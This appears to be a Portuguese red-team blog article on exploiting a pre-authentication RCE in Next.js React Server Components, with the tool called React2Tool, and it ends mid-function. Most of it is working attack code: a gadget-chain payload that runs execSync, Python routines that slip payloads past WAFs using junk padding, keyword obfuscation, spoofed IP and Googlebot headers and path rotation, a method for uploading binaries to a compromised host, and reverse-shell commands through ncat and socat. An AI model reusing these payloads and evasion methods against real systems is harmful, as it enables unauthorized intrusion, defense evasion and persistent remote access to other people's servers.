React2Shell: Desafios de Exploração e Técnicas Avançadas de Red Team

Como contornei WAFs agressivos, estabilizei shells frágeis e transformei uma vulnerabilidade Next.js em acesso persistente — lições aprendidas na prática

TL;DR

O React2Tool é um scanner/exploit para as vulnerabilidades CVE-2025-55182 e CVE-2025-66478 no Next.js RSC (React Server Components). Este artigo documenta os desafios reais de exploração: bypass de WAFs (Cloudflare, Vercel), estabilização de shells frágeis, e técnicas avançadas de persistência e evasão. Não é sobre "clicar e ganhar shell" — é sobre o que fazer quando tudo dá errado.

Aviso Legal

Este artigo é exclusivamente educacional e descreve pesquisas realizadas em ambientes controlados e autorizados. As técnicas aqui discutidas são para profissionais de Red Team, pesquisadores de segurança e estudantes. Utilize apenas em sistemas onde você tem autorização explícita.

🎯 A Filosofia Deste Artigo

Não vou disponibilizar o script pronto. Se você está procurando um "clique-e-ganhe-shell", está no lugar errado. Ferramentas prontas te tornam dependente — e dependência é o oposto de habilidade.

O que vou compartilhar é algo mais valioso: o conhecimento técnico profundo que usei para construir o React2Tool. Cada técnica de bypass, cada solução para shells instáveis, cada método de evasão — tudo documentado com código e explicações.

Com esse conhecimento, você não apenas poderá construir sua própria ferramenta — você entenderá cada linha de código. E quando a ferramenta falhar (porque toda ferramenta falha), você saberá adaptar, modificar e evoluir. Isso é o que separa um operador de um script kiddie.

O Cenário: CVE-2025-55182 e o Nascimento do React2Shell

Em 2025, uma vulnerabilidade crítica foi descoberta no Next.js, o framework React mais popular do mercado. A falha reside no mecanismo de React Server Components (RSC) — a nova arquitetura que permite renderização no servidor.

A vulnerabilidade permite Remote Code Execution (RCE) através de prototype pollution no parser de ações do servidor. Em termos práticos: um atacante pode executar comandos arbitrários no servidor Next.js sem autenticação.

IMPACTO DA VULNERABILIDADE
Pre-Auth RCE — Não requer login ou credenciais
Versões 14.x-16.x — Milhões de aplicações afetadas
Node.js Context — Acesso completo ao filesystem e rede
Production Servers — Inclui aplicações em Vercel, AWS, GCP

O React2Tool nasceu da necessidade de ter uma ferramenta robusta que não apenas detectasse a vulnerabilidade, mas que fosse capaz de explorar em condições reais — com WAFs, rate limiting, e todas as defesas modernas.

Deep Dive: Como a Vulnerabilidade Realmente Funciona

A maioria dos writeups sobre React2Shell mostram apenas o PoC ou dicas de bypass de WAF. Mas para realmente entender (e adaptar quando algo falha), precisamos mergulhar no funcionamento interno da vulnerabilidade.

React Flight Protocol: A Raiz do Problema

O React implementou o React Flight Protocol — um mecanismo de serialização/desserialização que permite que inputs do usuário sejam desserializados no servidor. Como qualquer mecanismo de desserialização, ele reconstrói objetos baseado no input do usuário.

  ┌─────────────────────────────────────────────────────────────────────┐
  │                    REACT FLIGHT PROTOCOL                            │
  ├─────────────────────────────────────────────────────────────────────┤
  │                                                                     │
  │   Client Input          Server Processing         Object Creation   │
  │   ─────────────         ──────────────────        ────────────────  │
  │                                                                     │
  │   {"propX": "$0"}  ──►  decodeReplyFromBusboy  ──►  { propX: ref }  │
  │                              │                                      │
  │                              ▼                                      │
  │                     resolveModelChunk()                             │
  │                              │                                      │
  │                              ▼                                      │
  │                        reviveModel()  ◄── Recursivamente reconstrói │
  │                                                                     │
  └─────────────────────────────────────────────────────────────────────┘

O problema acontece porque o React não verifica se a chave requisitada foi realmente definida no objeto. Isso permite acessar propriedades internas do objeto JavaScript — incluindo o __proto__:

// Payload malicioso
{"propX": "$0:__proto__:toString"}

// Resultado: propX = função nativa toString
// Acessamos o prototype do objeto!

O Conceito de "Thenable" em JavaScript

Este é o ponto crítico do exploit. Em JavaScript, se um objeto retornado por Promise.resolve() ou then() contém uma propriedade then que é uma função, essa função será enfileirada para execução.

// Demonstração do comportamento "thenable"
const userObj = { then: () => console.log('Executado!') }

Promise.resolve().then(() => userObj) // => 'Executado!' é logado
Promise.resolve(userObj)              // => 'Executado!' é logado

async function getUserObj() {
  return userObj
}
getUserObj() // => 'Executado!' é logado

// Se o retorno de "then" também tiver "then", 
// continua sendo chamado recursivamente!

A Sacada: O chunk retornado pelo React contém um método Chunk.prototype.then. Se manipularmos o chunk para que seu value.then aponte para uma função maliciosa, ela será executada quando o Promise for resolvido!

A Gadgetchain: Do Input à Execução de Código

A cadeia de gadgets do PoC funciona assim:

GADGETCHAIN BREAKDOWN
// Passo 1: Criar referência circular via __proto__
{"then": "$1:__proto__:then"}
// Acessa Chunk.__proto__.then = Chunk.prototype.then

// Passo 2: Criar função anônima via constructor.constructor
{"get": "$1:constructor:constructor"}
// object.constructor.constructor = Function (eval-like)

// Passo 3: Injetar código via _formData
{"_prefix": "return process.mainModule.require('child_process')..."}
// O código injetado será passado para Function()

// Resultado: Function("return process.mainModule...")()
// = RCE!

Fluxo Completo de Exploração

  ┌────────────────────────────────────────────────────────────────────────┐
  │                        FLUXO DE EXPLORAÇÃO                             │
  ├────────────────────────────────────────────────────────────────────────┤
  │                                                                        │
  │  1. Multipart Form Data                                                │
  │     │                                                                  │
  │     ▼                                                                  │
  │  2. decodeReplyFromBusboy() → createResponse() → Chunk pendente        │
  │     │                                                                  │
  │     ▼                                                                  │
  │  3. resolveField() → Chunk.status = "resolved_model"                   │
  │     │                                                                  │
  │     ▼                                                                  │
  │  4. Chunk.prototype.then() é chamado (porque é "thenable")             │
  │     │                                                                  │
  │     ▼                                                                  │
  │  5. initializeModelChunk() → reviveModel() → parseModelString()        │
  │     │                                                                  │
  │     ▼                                                                  │
  │  6. Property traversal: __proto__.then, constructor.constructor        │
  │     │                                                                  │
  │     ▼                                                                  │
  │  7. Function() criada com código malicioso                             │
  │     │                                                                  │
  │     ▼                                                                  │
  │  8. Promise.resolve(fakeChunk) → value.then() → RCE!                   │
  │                                                                        │
  └────────────────────────────────────────────────────────────────────────┘

O Código Vulnerável

O código vulnerável está em action-handler.ts do Next.js:

// next.js/packages/next/src/server/app-render/action-handler.ts
const busboy = require('next/dist/compiled/busboy')({
  defParamCharset: 'utf8',
  headers: req.headers,
  limits: { fieldSize: bodySizeLimitBytes },
})

pipeline(sizeLimitedBody, busboy, () => {})

// VULNERÁVEL: Input do usuário é desserializado diretamente
boundActionArguments = await decodeReplyFromBusboy(
  busboy,
  serverModuleMap,
  { temporaryReferences }
)

Insight Crítico: Existe outra função similar chamada decodeAction, mas ela usa um resolve() vazio, tornando o exploit impossível por esse caminho. O decodeReplyFromBusboy é o único vetor explorável.

"Although I didn't like JS much, but this exploit is art. Both the one found it and the one craft the working gadgetchain are artists."

— Jang (testbnull)

Anatomia da Vulnerabilidade: Tipos e Manifestações

A vulnerabilidade Next.js RSC pode se manifestar de diferentes formas dependendo da configuração do servidor, versão do framework, e como a aplicação foi desenvolvida. Entender essas variações é crucial para detectar e explorar com sucesso.

Os 5 Modos de Operação

O React2Tool opera em diferentes modos, cada um otimizado para um cenário específico:

Modo Propósito Risco Quando Usar
--safe Detecção via side-channel, sem executar código 🟢 Mínimo Reconhecimento inicial, bug bounty
--rce Prova de conceito com cálculo matemático (41*271) 🟡 Baixo Confirmar RCE sem impacto
--version Apenas detecta versão do Next.js 🟢 Nenhum Triagem em massa
--god Exploração completa: shell, file read, upload 🔴 Alto Red Team com autorização
--comprehensive Todos os checks + múltiplas técnicas de bypass 🟡 Médio Assessment completo

Vetores de Exploração RSC: Padrão vs Alternativo

A vulnerabilidade RSC pode ser explorada de duas formas principais, dependendo de como a aplicação Next.js está configurada e quais endpoints aceitam Server Actions:

VETOR 1: EXPLORAÇÃO PADRÃO (/)

A exploração padrão envia o payload para a raiz do site (/) ou para a página que contém o Server Action vulnerável.

# Exploração padrão - endpoint raiz
POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
Next-Action: x

[PAYLOAD RSC]

Quando funciona: Aplicações que têm Server Actions na página principal ou em rotas conhecidas. É o primeiro vetor a testar.

VETOR 2: ENDPOINTS ALTERNATIVOS (/adfa, /rsc, /x, etc)

Quando a raiz não funciona (ou está protegida por WAF), testamos endpoints alternativos. O Next.js processa Server Actions em qualquer rota que aceite POST com o header Next-Action.

# Exploração alternativa - endpoints inventados
POST /adfa HTTP/1.1        # Endpoint que não existe mas Next.js processa
POST /rsc HTTP/1.1         # Alusão a React Server Components
POST /abc HTTP/1.1         # Qualquer string funciona
POST /x HTTP/1.1           # Minimalista
POST /__nextjs HTTP/1.1    # Parece interno

Host: target.com
Next-Action: x

[PAYLOAD RSC]

Por que funciona: O Next.js não valida se a rota existe antes de processar o Server Action. Se o header Next-Action está presente, ele tenta processar — mesmo em rotas inexistentes.

COMPARAÇÃO DOS VETORES:

┌─────────────────────────────────────────────────────────────────────────┐
│                        VETOR PADRÃO (/)                                 │
├─────────────────────────────────────────────────────────────────────────┤
│  POST /                                                                 │
│                                                                         │
│  ✅ Vantagens:                    ❌ Desvantagens:                       │
│  • Primeiro a testar             • Mais provável de ter regras WAF     │
│  • Funciona se houver SA na page • Pode não ter Server Action          │
│  • Comportamento esperado        • Mais logging/monitoring             │
└─────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────┐
│                   VETOR ALTERNATIVO (/adfa, /rsc, /x)                   │
├─────────────────────────────────────────────────────────────────────────┤
│  POST /adfa, POST /rsc, POST /qualquercoisa                             │
│                                                                         │
│  ✅ Vantagens:                    ❌ Desvantagens:                       │
│  • WAFs geralmente não protegem  • Menos óbvio que funciona            │
│  • Endpoints "invisíveis"        • Alguns proxies bloqueiam 404        │
│  • Bypassa regras de path        • Pode gerar logs estranhos           │
│  • Funciona em qualquer rota     • Requer Next-Action header           │
└─────────────────────────────────────────────────────────────────────────┘

ESTRATÉGIA RECOMENDADA:
1. Tente / primeiro (padrão)
2. Se bloqueado → /adfa, /rsc, /x
3. Se ainda bloqueado → Combine com WAF bypass (junk, encoding)
4. Itere por múltiplos endpoints automaticamente

Descoberta importante: Durante testes, descobri que o endpoint /adfa funcionava em alvos onde / estava bloqueado. O WAF tinha regras específicas para a raiz mas não para paths aleatórios. Isso levou à implementação de rotação automática de endpoints no React2Tool — se um falha, automaticamente tenta o próximo.

Como a Vulnerabilidade Se Manifesta

Dependendo da configuração do alvo, você verá diferentes "sinais" de que a vulnerabilidade existe:

INDICADORES DE VULNERABILIDADE
Tipo 1: Response Body com Digest
O output aparece no campo "digest" do JSON de erro. Mais comum em versões 15.x. Facilita extração.
Tipo 2: Redirect Header
Output aparece no header X-Action-Redirect ou Location. Comum em versões 14.x com Server Actions.
Tipo 3: Blind (Sem Output)
RCE funciona mas não há canal de retorno visível. Requer técnicas de exfiltração: DNS, HTTP out-of-band.
Tipo 4: Time-Based
Detectável apenas por delay no response (ex: sleep 5). Último recurso quando tudo mais falha.

Fluxo de Detecção por Tipo

FLUXO DE IDENTIFICAÇÃO DO TIPO:

                    ┌─────────────────────┐
                    │   Enviar Payload    │
                    │   de Teste          │
                    └──────────┬──────────┘
                               │
                    ┌──────────▼──────────┐
                    │  Analisar Response  │
                    └──────────┬──────────┘
                               │
          ┌────────────────────┼────────────────────┐
          │                    │                    │
    ┌─────▼─────┐        ┌─────▼─────┐        ┌─────▼─────┐
    │  "digest" │        │  Header   │        │  Timeout  │
    │  no Body  │        │  Redirect │        │  > 5s     │
    └─────┬─────┘        └─────┬─────┘        └─────┬─────┘
          │                    │                    │
          ▼                    ▼                    ▼
    ╔═══════════╗        ╔═══════════╗        ╔═══════════╗
    ║  TIPO 1   ║        ║  TIPO 2   ║        ║  TIPO 4   ║
    ║  Digest   ║        ║  Redirect ║        ║  Time     ║
    ╚═══════════╝        ╚═══════════╝        ╚═══════════╝
          │                    │                    │
          └────────────────────┼────────────────────┘
                               │
                    ┌──────────▼──────────┐
                    │  Nenhum dos acima?  │
                    │  → Tentar DNS/HTTP  │
                    │    Out-of-Band      │
                    └──────────┬──────────┘
                               │
                               ▼
                        ╔═══════════╗
                        ║  TIPO 3   ║
                        ║  Blind    ║
                        ╚═══════════╝

Versões Afetadas e Comportamentos

Versão Next.js Vulnerável? Tipo Comum Notas
16.0.0 - 16.0.6 ✅ Sim Tipo 1 (Digest) Mais recente, fix em 16.0.7+
15.0.0 - 15.0.4 ✅ Sim Tipo 1/2 Fix varia por minor version
14.3.0-canary.77+ ✅ Sim Tipo 2 (Redirect) Canary builds são vulneráveis
14.x (stable) ❌ Não N/A Releases estáveis não afetadas
13.x e anteriores ❌ Não N/A Pré-RSC, arquitetura diferente

Dica de Identificação: Use o modo --version primeiro para identificar a versão do Next.js. Isso economiza tempo e evita disparar alertas com payloads de teste desnecessários. A versão aparece frequentemente em: /_next/static/, headers x-powered-by, ou no HTML source.

Desafio 1: Bypass de WAFs Agressivos

O Problema

Em um mundo ideal, você envia o payload e recebe a shell. Na realidade, 98% dos alvos estão atrás de WAFs como Cloudflare, AWS WAF, ou Vercel Edge. Esses WAFs inspecionam cada byte do seu request procurando padrões maliciosos.

PAYLOAD ORIGINAL vs WAF:

Atacante ──→ [execSync('whoami')] ──→ Cloudflare ──→ ❌ BLOCKED
                                            │
                                            └── Pattern Match: "execSync"
                                                              "child_process"
                                                              "process.mainModule"

Solução 1: Overflow de Buffer de Inspeção

A primeira técnica que implementei explora uma limitação física dos WAFs: eles não podem inspecionar payloads infinitos. Cloudflare, por exemplo, inspeciona aproximadamente 128KB do body de um request.

# Técnica: Overflow do buffer de inspeção do WAF
def build_cloudflare_bypass_payload(command, junk_size_kb=256):
    """
    Gera payload com dados junk ANTES do payload malicioso.
    
    O WAF inspeciona os primeiros ~128KB e desiste.
    Nosso payload real está após essa barreira.
    """
    boundary = f"----WebKitFormBoundary{random_string(16)}"
    
    # Gerar 256KB de lixo aleatório
    junk_chars = string.ascii_letters + string.digits + "!@#$%^&*()"
    junk_data = ''.join(random.choices(junk_chars, k=junk_size_kb * 1024))
    
    # Múltiplos campos junk para confundir parser
    junk_fields = []
    for i in range(3):
        field_name = random_string(12)
        junk_fields.append(
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="{field_name}"\r\n\r\n'
            f"{junk_data}\r\n"
        )
    
    # Payload real DEPOIS do junk
    real_payload = build_rce_payload(command)
    
    body = "".join(junk_fields) + real_payload
    return body

Solução 2: Ofuscação de Keywords

WAFs procuram strings como execSync, child_process, process.mainModule. A solução é nunca escrever essas strings literalmente:

# Técnica: Concatenação de strings para evadir pattern matching
def build_obfuscated_payload(command):
    """
    Ao invés de: require('child_process')
    Usamos: r('child' + '_process')
    
    O WAF não detecta porque não existe a string literal.
    """
    # Payload ofuscado via concatenação
    prefix_payload = (
        "var p=process,m=p['main'+'Module'],r=m['req'+'uire'],"
        "c=r('child'+'_process'),e=c['exec'+'Sync'];"
        f"var res=e('{command}',{{timeout:30000}}).toString('base64');"
        "throw Object.assign(new Error('x'),{digest: res});"
    )

Solução 3: Headers de IP Spoofing

Muitos WAFs relaxam regras para requests que parecem vir de IPs internos ou de crawlers confiáveis como Googlebot:

def get_cloudflare_bypass_headers():
    """
    Headers que simulam tráfego interno/confiável.
    Cloudflare e outros WAFs frequentemente whitelistam esses padrões.
    """
    internal_ips = [
        "127.0.0.1", "10.0.0.1", "172.16.0.1",
        # Ranges do próprio Cloudflare (podem ser trusted)
        "173.245.48.1", "103.21.244.1", "141.101.64.1",
    ]
    
    user_agents = [
        # Googlebot é frequentemente whitelistado
        "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
        # Facebook crawler
        "facebookexternalhit/1.1",
        # Slack
        "Slackbot-LinkExpanding 1.0",
    ]
    
    return {
        "X-Forwarded-For": f"{random.choice(internal_ips)}",
        "X-Real-IP": random.choice(internal_ips),
        "True-Client-IP": random.choice(internal_ips),  # Cloudflare-specific
        "CF-Connecting-IP": random.choice(internal_ips),
        "User-Agent": random.choice(user_agents),
    }

Dica de Red Team: Combine todas as técnicas simultaneamente. O React2Tool usa junk data + ofuscação + headers spoofados em um único request. Redundância é chave em bypass de WAF.

Solução 4: Payload Chunked — Fragmentação para Evasão

Uma técnica avançada é fragmentar o payload malicioso em partes que parecem inofensivas individualmente. O WAF inspeciona cada fragmento e não detecta o padrão completo:

def build_cloudflare_chunked_payload(command):
    """
    Payload usando estrutura chunked para bypass de Cloudflare.
    
    Técnica: Dividir o payload em partes "inocentes".
    O WAF não consegue correlacionar os fragmentos.
    """
    boundary = f"----CF{random_string(16)}"
    
    # Parte A: Declarações de variáveis (parece inofensivo)
    part_a = "var p=process,m=p['main'+'Module'];"
    
    # Parte B: Mais setup (ainda parece inofensivo)
    part_b = "var r=m['req'+'uire'],c=r('child'+'_process');"
    
    # Parte C: Execução (escondida no contexto)
    part_c = f"var e=c['exec'+'Sync'],res=e('{command}',{{timeout:30000}}).toString('base64');"
    
    # Parte D: Output
    part_d = "throw Object.assign(new Error('x'),{digest: res});"
    
    # Combinar em um único payload
    full_prefix = part_a + part_b + part_c + part_d
    
    # Adicionar conteúdo "decoy" que parece legítimo
    decoy_html = '''<!DOCTYPE html><html><head><title>Form</title></head><body>
    <form method="POST">
    <input type="text" name="username" value="admin">
    <input type="submit" value="Login">
    </form></body></html>'''
    
    body_parts = [
        # Campo decoy primeiro (WAF inspeciona e vê "formulário normal")
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="html_content"\r\n'
        f'Content-Type: text/html\r\n\r\n'
        f"{decoy_html}\r\n",
        # Payload real após o decoy
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="0"\r\n\r\n'
        f"{build_json_payload(full_prefix)}\r\n",
        f"--{boundary}--"
    ]
    
    return "".join(body_parts)

Solução 5: Path Manipulation — Endpoints Alternativos

Cloudflare e outros WAFs frequentemente têm regras baseadas em paths específicos. Certos caminhos podem ter regras relaxadas:

def build_cloudflare_path_bypass_endpoints():
    """
    Endpoints alternativos que podem bypassar regras de path do WAF.
    
    Cloudflare frequentemente tem regras diferentes para:
    - Paths de API
    - Paths internos do Next.js
    - Paths com encoding especial
    """
    return [
        # Encoding tricks
        "/./",            # Path traversal normalizado
        "//",             # Double slash
        "/%2f",           # URL-encoded slash
        "/;/",            # Semicolon injection
        "/.;/",           # Dot-semicolon
        
        # Case variations (WAFs case-sensitive)
        "/AdFa",
        "/ADFA",
        "/aDfA",
        
        # Extension tricks
        "/.json",
        "/index.json",
        "/api.json",
        
        # Double encoding
        "/%252f",
        
        # API paths (frequentemente menos restritivos)
        "/api/",
        "/api/v1/",
        "/_api/",
        "/graphql",
        
        # Next.js internals (podem ter whitelist)
        "/_next/",
        "/_next/data/",
        "/__nextjs_original-stack-frame",
        "/404",
        "/500",
        
        # Query string tricks (confunde parser do WAF)
        "/?__cf_chl_rt_tk=",
        "/?_cf_chl_opt=",
        
        # Endpoints comuns
        "/adfa", "/rsc", "/abc", "/x",
    ]

def exploit_with_path_rotation(session, target, command):
    """
    Tenta múltiplos endpoints até um funcionar.
    """
    paths = build_cloudflare_path_bypass_endpoints()
    
    for path in paths:
        url = f"{target}{path}"
        result = send_exploit(session, url, command)
        
        if result.success:
            log_success(f"Path bypass funcionou: {path}")
            return result
        
        if not result.blocked_by_waf:
            # Não foi bloqueado, mas falhou por outro motivo
            continue
    
    return None

Solução 6: Unicode Encoding — Evasão de Pattern Matching

Caracteres podem ser representados em Unicode escape sequences. Alguns WAFs não normalizam Unicode antes de inspecionar:

def encode_unicode(data):
    """
    Converte caracteres dentro de strings para Unicode escapes.
    
    Exemplo:
    - 'child_process' → '\u0063\u0068\u0069\u006c\u0064_\u0070\u0072\u006f\u0063...'
    
    O JavaScript interpreta normalmente, mas o WAF não vê a string literal.
    """
    result = []
    in_string = False
    i = 0
    
    while i < len(data):
        c = data[i]
        
        if c == '"':
            in_string = not in_string
            result.append(c)
        elif not in_string:
            result.append(c)
        elif c == '\\' and i + 1 < len(data):
            # Preservar escapes existentes
            result.append(c)
            result.append(data[i + 1])
            i += 1
        else:
            # Converter para Unicode escape
            result.append(f"\\u{ord(c):04x}")
        
        i += 1
    
    return ''.join(result)

# Exemplo de uso
original = '{"cmd": "child_process"}'
encoded = encode_unicode(original)
# Resultado: '{"\u0063\u006d\u0064": "\u0063\u0068\u0069\u006c\u0064_\u0070\u0072\u006f..."}'

Solução 7: Vercel-Specific Bypass

Vercel tem proteções específicas. Este bypass foi desenvolvido analisando como o Vercel Edge processa requests:

def build_vercel_bypass_payload():
    """
    Payload específico para bypass do Vercel Edge.
    
    Características:
    - Usa formato específico de referência ($3:\\"$$:constructor...)
    - Campo extra para confundir o parser
    - Estrutura que passou nos testes contra Vercel
    """
    boundary = generate_boundary()
    
    # Payload com referência especial que Vercel não filtra
    part0 = (
        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
        '"var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271))\').toString().trim();;'
        'throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",'
        '"_chunks":"$Q2","_formData":{"get":"$3:\\"$$:constructor:constructor"}}}'
    )
    
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="0"\r\n\r\n'
        f"{part0}\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="1"\r\n\r\n'
        f'"$@0"\r\n'
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="2"\r\n\r\n'
        f"[]\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="3"\r\n\r\n'
        # Campo especial: Unicode-encoded $$ reference
        f'{{"\\"\\u0024\\u0024":{{}}}}\r\n'
        f"--{boundary}--"
    )
    
    return body, f"multipart/form-data; boundary={boundary}"
MATRIZ DE TÉCNICAS DE WAF BYPASS
Técnica Cloudflare Vercel AWS WAF
Junk Overflow (256KB) ✅ Efetivo ✅ Efetivo ✅ Efetivo
String Concatenation ✅ Efetivo ✅ Efetivo ✅ Efetivo
Chunked Payload ✅ Efetivo ⚠️ Parcial ✅ Efetivo
Path Manipulation ⚠️ Variável ❌ Bloqueado ✅ Efetivo
Unicode Encoding ⚠️ Parcial ✅ Efetivo ⚠️ Parcial
IP Spoofing Headers ⚠️ Depende ❌ Ignorado ⚠️ Depende

Técnica Avançada: Upload Chunked de Ferramentas

O Problema: Ambiente Sem Ferramentas

Em muitos servidores Next.js (especialmente containers minimalistas), não existe curl, wget, ou outras ferramentas de download. Como transferir binários para o alvo?

Solução: Echo + Base64 Chunked

A técnica é dividir o binário em chunks Base64 e reconstruir no alvo usando apenas comandos básicos que sempre existem:

def upload_binary_chunked(session, target, binary_path, remote_path="/tmp/tool"):
    """
    Upload de binário via RCE usando echo + base64.
    
    Funciona mesmo quando não existe curl/wget.
    
    Processo:
    1. Ler binário local
    2. Converter para Base64
    3. Dividir em chunks de ~1000 chars (limite de linha de comando)
    4. Enviar cada chunk via: echo 'CHUNK' >> /tmp/tool.b64
    5. Decodificar: base64 -d /tmp/tool.b64 > /tmp/tool
    6. Tornar executável: chmod +x /tmp/tool
    """
    CHUNK_SIZE = 1000  # Caracteres por chunk (safe para linha de comando)
    
    # Ler binário e converter para Base64
    with open(binary_path, 'rb') as f:
        binary_data = f.read()
    
    b64_data = base64.b64encode(binary_data).decode('ascii')
    
    # Dividir em chunks
    chunks = [b64_data[i:i+CHUNK_SIZE] for i in range(0, len(b64_data), CHUNK_SIZE)]
    
    log_info(f"Uploading {len(binary_data)} bytes em {len(chunks)} chunks...")
    
    # Limpar arquivo anterior se existir
    execute_command(session, target, f"rm -f {remote_path}.b64 {remote_path}")
    
    # Enviar cada chunk
    for i, chunk in enumerate(chunks):
        # Usar echo com append
        cmd = f"echo '{chunk}' >> {remote_path}.b64"
        result = execute_command(session, target, cmd)
        
        if not result.success:
            log_error(f"Falha no chunk {i+1}/{len(chunks)}")
            return False
        
        # Progress
        if (i + 1) % 10 == 0:
            log_info(f"Progresso: {i+1}/{len(chunks)} chunks")
    
    # Decodificar Base64 para binário
    decode_cmd = f"base64 -d {remote_path}.b64 > {remote_path}"
    result = execute_command(session, target, decode_cmd)
    
    if not result.success:
        log_error("Falha ao decodificar Base64")
        return False
    
    # Tornar executável e limpar temporário
    execute_command(session, target, f"chmod +x {remote_path}")
    execute_command(session, target, f"rm -f {remote_path}.b64")
    
    log_success(f"Upload completo: {remote_path}")
    return True

Otimização: Compressão Antes do Upload

def upload_binary_compressed(session, target, binary_path, remote_path="/tmp/tool"):
    """
    Upload otimizado com compressão gzip.
    
    Reduz significativamente o número de chunks necessários.
    Binários típicos comprimem 60-70%.
    """
    import gzip
    
    # Ler e comprimir binário
    with open(binary_path, 'rb') as f:
        binary_data = f.read()
    
    compressed = gzip.compress(binary_data, compresslevel=9)
    compression_ratio = len(compressed) / len(binary_data) * 100
    
    log_info(f"Compressão: {len(binary_data)} -> {len(compressed)} bytes ({compression_ratio:.1f}%)")
    
    # Fazer upload do arquivo comprimido
    success = upload_binary_chunked(session, target, compressed, f"{remote_path}.gz")
    
    if success:
        # Descomprimir no alvo
        execute_command(session, target, f"gzip -d {remote_path}.gz")
        execute_command(session, target, f"chmod +x {remote_path}")
    
    return success
UPLOAD CHUNKED - FLUXO COMPLETO:

┌─────────────┐     ┌──────────────────────────────────────────────┐
│   ATACANTE  │     │                   ALVO                        │
└──────┬──────┘     └────────────────────┬─────────────────────────┘
       │                                 │
       │  1. echo 'SGVsbG8...' >> /tmp/t.b64                       
       │─────────────────────────────────→│  Chunk 1/50
       │                                 │
       │  2. echo 'V29ybGQ...' >> /tmp/t.b64                       
       │─────────────────────────────────→│  Chunk 2/50
       │                                 │
       │         ... (48 chunks) ...     │
       │                                 │
       │  50. echo 'Rmlub3M...' >> /tmp/t.b64                      
       │─────────────────────────────────→│  Chunk 50/50
       │                                 │
       │  51. base64 -d /tmp/t.b64 > /tmp/tool                     
       │─────────────────────────────────→│  Decodificar
       │                                 │
       │  52. chmod +x /tmp/tool                                   
       │─────────────────────────────────→│  Executável
       │                                 │
       │  53. rm /tmp/t.b64                                        
       │─────────────────────────────────→│  Cleanup
       │                                 │
       ▼                                 ▼
  [BINÁRIO LOCAL]                [BINÁRIO REMOTO PRONTO]

🎯 Meu Arsenal Preferido — As Ferramentas Que Realmente Uso

Depois de dezenas de operações, estas são as ferramentas que sempre faço upload. Não são necessariamente as mais famosas, mas são as que funcionam quando tudo mais falha:

TIER S — ESSENCIAIS (Sempre Upload)
GSocket / gsocket
Shell reversa que atravessa NAT, firewalls, e funciona via relay. Não precisa de porta aberta no atacante. gs-netcat é ouro puro.
Socat
Full TTY shell com pty. Ctrl+C funciona, tab-completion, histórico. É a diferença entre sofrer e trabalhar confortável.
Busybox
Quando o container não tem NADA (nem wget, nem curl, nem nc), busybox tem tudo. Um binário, 300+ comandos.
TIER A — PÓS-EXPLORAÇÃO
Linpeas
Enumeração completa para privesc. Encontra SUID, capabilities, crons, senhas em configs. Sempre roda primeiro.
pspy
Monitor de processos sem root. Vê cron jobs e processos privilegiados executando. Encontra privesc que linpeas não vê.
Chisel
Tunneling HTTP/SOCKS. Quando preciso pivotar para rede interna ou acessar serviços locais (127.0.0.1:3306, etc).

Por que GSocket? Em operações reais, frequentemente o alvo está atrás de NAT corporativo ou firewall que bloqueia conexões de saída em portas não-padrão. GSocket usa um servidor relay público — a conexão sai pela porta 443 (HTTPS), que quase nunca está bloqueada. É game changer.

Catálogo de Ferramentas para Upload

# Ferramentas essenciais para pós-exploração
STATIC_BINARIES = {
    # ═══════════════════════════════════════════════════════════
    # NETWORK TOOLS
    # ═══════════════════════════════════════════════════════════
    "ncat": {
        "url": "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat",
        "size": "~2.8 MB",
        "description": "Netcat com SSL, proxy, e connection brokering",
        "usage": [
            "/tmp/ncat -lvnp 4444",              # Listener
            "/tmp/ncat -lvnp 4444 --ssl",        # Listener com SSL
            "/tmp/ncat HOST PORT -e /bin/sh",   # Reverse shell
        ]
    },
    "socat": {
        "url": "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat",
        "size": "~2.5 MB",
        "description": "Swiss army knife - TTY shell, port forwarding",
        "usage": [
            # Full TTY reverse shell
            "/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT",
            # Port forwarding
            "/tmp/socat TCP-LISTEN:8080,fork TCP:internal:80",
        ]
    },
    
    # ═══════════════════════════════════════════════════════════
    # ENUMERATION & PRIVESC
    # ═══════════════════════════════════════════════════════════
    "linpeas": {
        "url": "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh",
        "size": "~800 KB",
        "description": "Linux Privilege Escalation Awesome Script",
        "usage": ["/tmp/linpeas.sh -a 2>&1 | tee /tmp/linpeas.out"]
    },
    "pspy": {
        "url": "https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64",
        "size": "~3 MB",
        "description": "Monitor de processos sem root - detecta cron jobs",
        "usage": ["/tmp/pspy64 -pf -i 1000"]
    },
    
    # ═══════════════════════════════════════════════════════════
    # UTILITIES
    # ═══════════════════════════════════════════════════════════
    "busybox": {
        "url": "https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox",
        "size": "~1 MB",
        "description": "Unix utilities all-in-one (wget, nc, tar, etc)",
        "usage": [
            "/tmp/busybox wget URL -O /tmp/file",
            "/tmp/busybox nc -lvnp 4444",
            "/tmp/busybox tar xzf file.tar.gz",
        ]
    },
}

def express_install(session, target, tools=["ncat", "busybox", "linpeas"]):
    """
    Instalação rápida de ferramentas essenciais.
    """
    for tool in tools:
        if tool not in STATIC_BINARIES:
            log_warning(f"Ferramenta desconhecida: {tool}")
            continue
        
        info = STATIC_BINARIES[tool]
        log_info(f"Instalando {tool} ({info['size']})...")
        
        # Tentar download direto primeiro (mais rápido)
